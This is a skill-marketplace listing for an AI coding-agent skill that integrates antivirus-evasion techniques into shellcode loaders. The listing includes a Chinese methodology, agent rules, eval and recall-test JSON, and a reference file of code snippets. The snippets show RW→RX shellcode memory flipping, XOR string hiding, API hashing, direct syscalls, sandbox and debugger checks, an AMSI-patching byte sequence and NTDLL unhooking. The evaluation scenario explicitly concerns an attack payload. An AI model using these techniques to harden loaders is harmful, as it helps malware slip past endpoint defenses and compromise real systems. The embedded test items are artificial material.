
Evasion Technique Integrate
- 30 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
evasion-technique-integrate is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- evasion-technique-integrate
- AI & Agent Building
- AI-coding skill
Evasion Technique Integrate by the numbers
- 30 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,285 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill evasion-technique-integrateAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 30 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
免杀技术整合方法论
⛔ 深入参考
- 172 条免杀技术库 → references/evasion-techniques-db.json
- 整合模式与代码示例 → references/integration-patterns.md
---
7 类免杀技术速查
| 类型 | 目的 | 复杂度 | 典型技术 |
|---|---|---|---|
| api_obfuscation | 隐藏 API 导入 | medium | API Hashing, IAT 混淆 |
| string_obfuscation | 隐藏敏感字符串 | simple | XOR 加密, 编译期混淆 |
| memory_evasion | 避免 RWX 内存页 | simple | 权限翻转 (RW→RX) |
| execution_evasion | 绕过 Hook | complex | 直接 Syscall, 间接 Syscall |
| anti_analysis | 检测调试/沙箱 | medium | IsDebuggerPresent, 时间差, CPU 核心数 |
| amsi_etw_bypass | 禁用 AMSI/ETW | medium | AmsiScanBuffer Patch, EtwEventWrite Patch |
| unhooking | 恢复被 Hook 的 DLL | complex | NTDLL 重映射 |
整合流程
1. 读取目标 Loader 源码
2. 查免杀技术库 → references/evasion-techniques-db.json
3. 分析兼容性
├─ 使用 RWX? → 加 memory_evasion(权限翻转)
├─ 使用标准 API? → 加 execution_evasion(Syscall)
├─ 有明文字符串? → 加 string_obfuscation(XOR)
└─ 无反调试? → 加 anti_analysis
4. 逐项整合(参考 references/integration-patterns.md)
5. 交叉编译验证
6. 输出变更报告兼容性矩阵
| Loader 特征 | 兼容技术 |
|---|---|
| 任意 Loader | API 混淆、字符串混淆、反调试 |
| 使用 RWX 内存 | 权限翻转 |
| 使用标准 Win API | Syscall 替换 |
| 未做 Unhook | NTDLL Unhooking |
快速代码示例
权限翻转(最常用)
// Before: PAGE_EXECUTE_READWRITE(一步到位,易被检测)
LPVOID addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// After: 先 RW 写入,再改 RX 执行
LPVOID addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
memcpy(addr, shellcode, size);
VirtualProtect(addr, size, PAGE_EXECUTE_READ, &oldProtect);字符串 XOR
char dllName[] = { 0x1a, 0x14, 0x07, ... }; // XOR encrypted
for (int i = 0; i < sizeof(dllName); i++) dllName[i] ^= KEY;RWX 权限分离
- 两步操作:先写后执行(W+X 分离),不使用 RWX 一步到位
- 验证:编译通过、功能正常、验证执行结果
🤖 Agent 行为规则 — 免杀技术整合
⛔ NEVER
- NEVER 不分析兼容性就直接植入技术 — 必须先完成兼容性矩阵分析
- NEVER 使用知识库外的技术 — 所有技术必须来自 evasion-techniques-db.json
- NEVER 修改非用户提供的代码文件
- NEVER 运行或测试修改后的二进制 — 编译通过即可
- NEVER 忽略变更报告 — 必须输出修改了什么、影响评估
✅ ALWAYS
- 先读取技术库 references/evasion-techniques-db.json
- ALWAYS 列出所有适用技术,让用户确认后再整合
- ALWAYS 每个技术整合后单独编译验证
- ALWAYS 输出变更报告(原文件、应用技术列表、修改的 API/字符串、风险评估)
- ALWAYS 备份原始代码
🔧 工具偏好
1. 读取 references/... — 查技术库和整合模式 2. bash — 交叉编译验证 3. 直接创建/编辑文件 — 修改 Loader 源码
{
"skill_name": "evasion-technique-integrate",
"evals": [
{
"id": 1,
"name": "integrate-rwx-flip",
"prompt": "给定一个使用 PAGE_EXECUTE_READWRITE 分配内存的 C Loader 源码,需要修改为 RW→RX 两步权限翻转以规避检测。请描述修改方案。",
"expected_output": "VirtualAlloc 用 PAGE_READWRITE → memcpy 写入 shellcode → VirtualProtect 改为 PAGE_EXECUTE_READ → 执行",
"expectations": [
"PAGE_READWRITE|RW|先分配可写不可执行",
"VirtualProtect|权限翻转|PAGE_EXECUTE_READ",
"两步|先写后执行|分离读写和执行",
"编译通过|功能正常|验证执行",
"变更报告|diff|修改说明"
],
"required_terms": [
"PAGE_READWRITE",
"PAGE_EXECUTE_READ",
"VirtualProtect"
]
},
{
"id": 2,
"name": "integrate-api-hashing",
"prompt": "Loader 源码中直接调用 VirtualAlloc、CreateThread 等 API(明文导入)。请描述将其替换为 API hashing 的方法。",
"expected_output": "实现 hash 函数(如 djb2/ror13),遍历 PEB→LDR 获取 DLL 导出表,按 hash 值查找函数地址",
"expectations": [
"hash函数|djb2|ror13|CRC32|计算函数名hash",
"PEB|LDR|导出表|运行时解析",
"替换调用|函数指针|typedef|间接调用",
"编译通过|功能正常|验证",
"IAT|导入表|不出现明文API名"
],
"required_terms": [
"CRC32",
"PEB",
"LDR"
]
}
]
}
{
"skill_id": "evasion-technique-integrate",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "核心关键词",
"keywords": [
"evasion technique",
"api-hashing",
"syscall"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "技术搜索",
"keywords": [
"anti-debug",
"amsi",
"unhooking",
"bypass"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被cloud召回",
"keywords": [
"cloud iam",
"metadata"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "evasion-technique-integrate-scenario",
"scenario": "需要将多种规避技术集成到一个攻击载荷中。请搜索规避技术整合方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "evasion|integrate|整合|技术"
},
{
"tool": "read_skill",
"id": "evasion-technique-integrate"
}
]
}
]
}
免杀技术整合模式参考
提取自 Evasion-SubAgents/evasion_integrate.md,供 references/integration-patterns.md 引用。
整合模式代码示例
1. API Hashing(API 混淆)
// Before: 明文 API 调用
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
LPVOID func = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
// After: Hash 查找
DWORD hash = 0xDEADBEEF; // 预计算的 API hash
LPVOID func = GetAPIByHash(hash);实现要点:
- 预计算所有目标 API 的 hash
- 实现 PEB 遍历 + hash 比对函数
- 支持 djb2 / ror13 / crc32 等算法
2. String XOR(字符串加密)
// Before: 明文字符串
char* dllName = "kernel32.dll";
// After: XOR 加密
char dllName[] = { 0x1a, 0x14, 0x07, 0x1b, 0x14, 0x19, ... };
void xor_decrypt(char* data, size_t len) {
for (size_t i = 0; i < len; i++) data[i] ^= KEY;
}
xor_decrypt(dllName, sizeof(dllName));实现要点:
- 搜索所有硬编码字符串(grep/strings)
- 选择随机 XOR key
- 加密后放入 char array
- 运行时解密使用
3. 权限翻转(Memory Evasion)
// Before: RWX 一步到位(高风险)
LPVOID addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// After: RW → 写入 → RX(低风险)
LPVOID addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
memcpy(addr, shellcode, size);
DWORD oldProtect;
VirtualProtect(addr, size, PAGE_EXECUTE_READ, &oldProtect);4. Syscall 替换(Execution Evasion)
// Before: 标准 API 调用(可被 Hook 拦截)
NtAllocateVirtualMemory(...);
// After: 直接系统调用
DWORD ssn = GetSSN("NtAllocateVirtualMemory");
ExecuteSyscall(ssn, ...);实现方式:
- 直接 Syscall: 读取 ntdll.dll 获取 SSN,内联汇编调用
- 间接 Syscall: 跳转到 ntdll.dll 中原始 syscall 指令地址
5. 反调试(Anti-Analysis)
// 方法1: IsDebuggerPresent
if (IsDebuggerPresent()) ExitProcess(0);
// 方法2: 时间差检测
LARGE_INTEGER t1, t2, freq;
QueryPerformanceCounter(&t1);
// ... some work ...
QueryPerformanceCounter(&t2);
if ((t2.QuadPart - t1.QuadPart) / freq.QuadPart > threshold) ExitProcess(0);
// 方法3: CPU 核心数(沙箱通常只有 1-2 核)
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) ExitProcess(0);6. AMSI/ETW Bypass
// AMSI Patch: AmsiScanBuffer 返回 S_OK
HMODULE hAmsi = LoadLibraryA("amsi.dll");
LPVOID pFunc = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(pFunc, 6, PAGE_READWRITE, &oldProtect);
memcpy(pFunc, "\xb8\x57\x00\x07\x80\xc3", 6); // mov eax, 0x80070057; ret
VirtualProtect(pFunc, 6, oldProtect, &oldProtect);7. NTDLL Unhooking
// 从磁盘重新映射干净的 ntdll.dll
HANDLE hFile = CreateFileW(L"\\??\\C:\\Windows\\System32\\ntdll.dll", ...);
HANDLE hSection = NULL;
NtCreateSection(&hSection, SECTION_MAP_READ, NULL, NULL, PAGE_READONLY, SEC_IMAGE, hFile);
LPVOID cleanNtdll = NULL;
NtMapViewOfSection(hSection, GetCurrentProcess(), &cleanNtdll, ...);
// 用干净副本覆盖 .text section---
兼容性检查清单
整合前必须确认:
| 检查项 | 操作 |
|---|---|
| Loader 使用 RWX? | 是 → 加权限翻转 |
| 有明文 DLL/API 名? | 是 → 加 API Hashing + 字符串 XOR |
| 使用标准 Win API? | 是 → 考虑 Syscall 替换 |
| 无反调试? | 是 → 加 Anti-Analysis |
| 目标有 AMSI? | 是 → 加 AMSI Bypass |
| 目标 DLL 可能被 Hook? | 是 → 加 NTDLL Unhooking |
变更报告模板
## 免杀整合报告
- **原始文件**: loader.c
- **应用技术**: [API Hashing, String XOR, 权限翻转]
- **修改的 API**: LoadLibraryA → Hash 查找, GetProcAddress → Hash 查找
- **修改的字符串**: 3 个 DLL 名, 2 个 API 名
- **检测风险变化**: 高 → 低
- **编译结果**: ✅ 通过Related skills
AI & Agent Buildingagents